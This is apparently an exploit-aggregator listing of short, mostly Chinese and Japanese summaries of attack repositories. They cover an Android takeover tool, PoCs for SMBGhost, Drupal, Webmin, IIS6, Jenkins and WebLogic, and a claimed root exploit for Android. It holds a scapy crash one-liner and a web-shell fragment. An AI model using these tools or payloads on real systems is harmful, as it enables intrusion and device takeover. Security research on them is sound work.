PhoneSploit-Pro

PhoneSploit Pro Android 的瑞士军刀。 一款用 Python 编写的全能黑客工具，可通过 ADB、scrcpy、Nmap 和 Metasploit-Framework 远程接管 Android 设备。 目录 概述 截图 功能特性 环境要求 安装依赖 快速开始 设备设置教程 兼容性 手动安装工具 免责声明 开发者 支持 概述 掌控设备。以一切重要的方式。 通过 USB 或 Wi‑Fi 连接，然后控制设备、提取数据、流式传输摄像头和麦克风、管理应用，并自动化完整的 Metasploit 入侵流程，全部在一个菜单中完成。 您不再需要记住命令和参数，PhoneSploit...

ComoDoS

技术细节 见：https://malwaretech.com/2026/06/exploiting-a-remote-kernel-vulnerability-in-comodo-internet-security.html...

CVE-2020-0796

CVE-2020-0796 远程溢出 POC 用于检测 CVE-2020-0796 / "SMBGhost" 的 POC 使用方法 确保已安装 Python，然后运行 cve-2020-0796.py。...

node-cve-2018-4407

node-cve-2018-4407 针对 CVE-2018-4407 的 Node.js PoC 利用代码 作者：Sam Decrock 该脚本基于 Zuk 提供的 scapy 脚本： iOS 12 / OS X 远程内核堆溢出 CVE-2018-4407 POC 在一则推文中： pip install scapy sudo scapy sendIPdst="Target IP",options=IPOption"A"8/TCPdport=2323,options=19, "1"18,19, "2"18 — Zuk @ihackbanme 2018年11月1日 它会导致运行 iOS 1...

CVE-2018-7600

Drupal-CVE-2018-7600 使用方法: root@kitploit: python3 exploitdrupalcve-2018-7600.py...

vmacache_CVE-2018-17182

漏洞利用 远程 & 本地 漏洞利用...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 远程命令执行漏洞利用（CVE-2012-2982） 概述 本仓库包含 CVE-2012-2982 的概念验证（PoC）利用脚本，该漏洞是一个影响 Webmin 1.590 及更早版本 的远程认证命令执行漏洞。该漏洞位于 /file/show.cgi 端点，攻击者可以通过在被操纵的请求中注入特殊字符（例如 | 管道符号）来执行任意命令。 本 PoC 仅用于 教育和安全研究目的 。未经许可利用他人系统是非法的、不道德的。 CVE-2012-2982 详情 描述 Webmin 是一款流行的基于 Web 的系统管理工具，用于管理基于 Unix 的系统。在 1.590...

CVE-2026-0163-EXP

CVE-2026-0163 免责声明 本仓库仅用于教育和研究目的。 作者不对因使用本材料而导致的任何滥用、损害或非法行为负责。 使用风险自负。 请遵守适用的法律和道德准则。 概述 针对 CVE-2026-0163（Google Android VPU vpuioctl.c 中的释放后使用漏洞）的一个功能性远程利用程序。该程序可在存在漏洞的设备上实现任意代码执行并提升至 root 权限。无需额外特权或用户交互。专为针对 Android VPU 子系统的生产环境定向攻击而设计。 受影响版本 Android 15.0（API 35）及更早版本（截至 2026-08-05 补丁级别）...

CVE-2019-0604

一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var...

CVE-2005-0575-knet-exploit

CVE-2005-0575 KNet Web Server 1.04b リモートバッファオーバーフロー SEH エクスプロイト（x86 Windows XP SP3 用）。このエクスプロイトは調整が必要です！実行前にコードを編集してください！ 過去に作成したもので、いつ作ったかは忘れました...

CVE-2017-7269

CVE-2017-7269 iis6 漏洞利用 2017...

Cable-modems

对支持WiFi的ISP调制解调器的分析 概述 SEARCH-LAB Ltd评估了五款家庭网关型号，所有这些型号均被全球许多互联网服务提供商使用，但实际设备由匈牙利有线电视运营商之一UPC Magyarország（https://www.upc.hu/）运营。该分析针对商用设备和可公开获取的固件镜像执行，这些固件镜像通过ISP网络的自动固件更新机制获得。 我们于2015年6月开始对Ubee EVW3226调制解调器进行分析，在发现几个严重问题后，我们联系了UPC Hungary及其母公司Liberty Global,...

CVE-2017-12615-EXP

CVE-2017-12615-EXP root@kitploit: .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !:...

cookbook-bash-CVE-2014-6271

bash-CVE-2014-6271 クックブック このChefクックブックには、bashが見つかり、そのbashがCVE-2014-6271に記載されたリモートエクスプロイトに対して脆弱である場合に、Chefの実行を失敗させるデフォルトレシピが含まれています。bashを探す場所は、node'bash-CVE-2014-6271''bashes' 属性で設定できます（以下参照）。 要件 任意のUNIX/Linuxで動作するはずです。問題があれば（できればパッチ付きで）報告してください。 属性 node'bash-CVE-2014-6271''bashes' -...

webdav_exploit

webdavexploit 针对 Microsoft IIS 6.0 CVE-2017-7269 的利用工具 基于 https://github.com/edwardz246003/IISexploit，但可远程工作 用法 root@kitploit: python exploit.py -d http://www.eliuha.com/eliuha...

Remote-buffer-overflow-over-wifi_stack-in-wpa_supplicant-binary-in-android-11-platform-samsung-a20e

Android 11 平台三星 a20e 上 wpasupplicant 二进制文件 wifistack 的远程缓冲区溢出 Android 11 中 wpasupplicant 二进制文件 wifistack 的远程缓冲区溢出；平台：三星 a20e，使用出厂默认设置即可开箱即用。...

EternalBlue-Exploit-Demonstration-MS17-010

EternalBlue 漏洞利用演示 MS17-010 网络安全实验室，演示利用 CVE-2017-0144 EternalBlue 通过 Metasploit 攻击易受攻击的 Windows 7 系统，通过 Meterpreter 获取 SYSTEM 级别访问权限。 该项目还模拟了一次 WannaCry 风格的勒索软件攻击（安全演示），并演示了使用 MS17-010 安全补丁的缓解措施。 模块信息 模块： CSCM828 安全漏洞与渗透测试 学生： Daniel Nicolas Rentapalli 2548048 Ichhya Koirala 2607189 大学： 斯旺西大学...

CVE-2024-25897

参数 ip、puerto、ruta exploit 的输出 帮助面板 exploit 说明 以下是代码的 Markdown 格式说明： 代码说明 此脚本旨在利用 Jenkins 中的特定漏洞（CVE-2024-23897）。它允许从 Jenkins 服务器下载 JAR 文件并执行 payload 以连接 Jenkins 节点。下面解释代码的每个部分： 模块导入 root@kitploit: import argparse import requests import os import subprocess import sys argparse：用于处理命令行参数。...

CVE-2019-2725

CVE-2019-2725 绕过 提示 使用python3编写，payload请见这里 该payload仅适用于jdk6 利用 用法：exp.py 127.0.0.1:8080 whoami 验证 编辑ip.txt后，程序将检查ip.txt中的IP，测试是否存在漏洞：...

CVE-2026-92880

A weakness has been identified in vgmstream up to r2117. Impacted is the function vadpcmreadcoefsbe of the file src/coding/vadpcmdecoder.c of the component EA SCHl parser. This manipulation of the argument entry/entries causes out-of-bounds write. Remote exploitation of the attack is possible...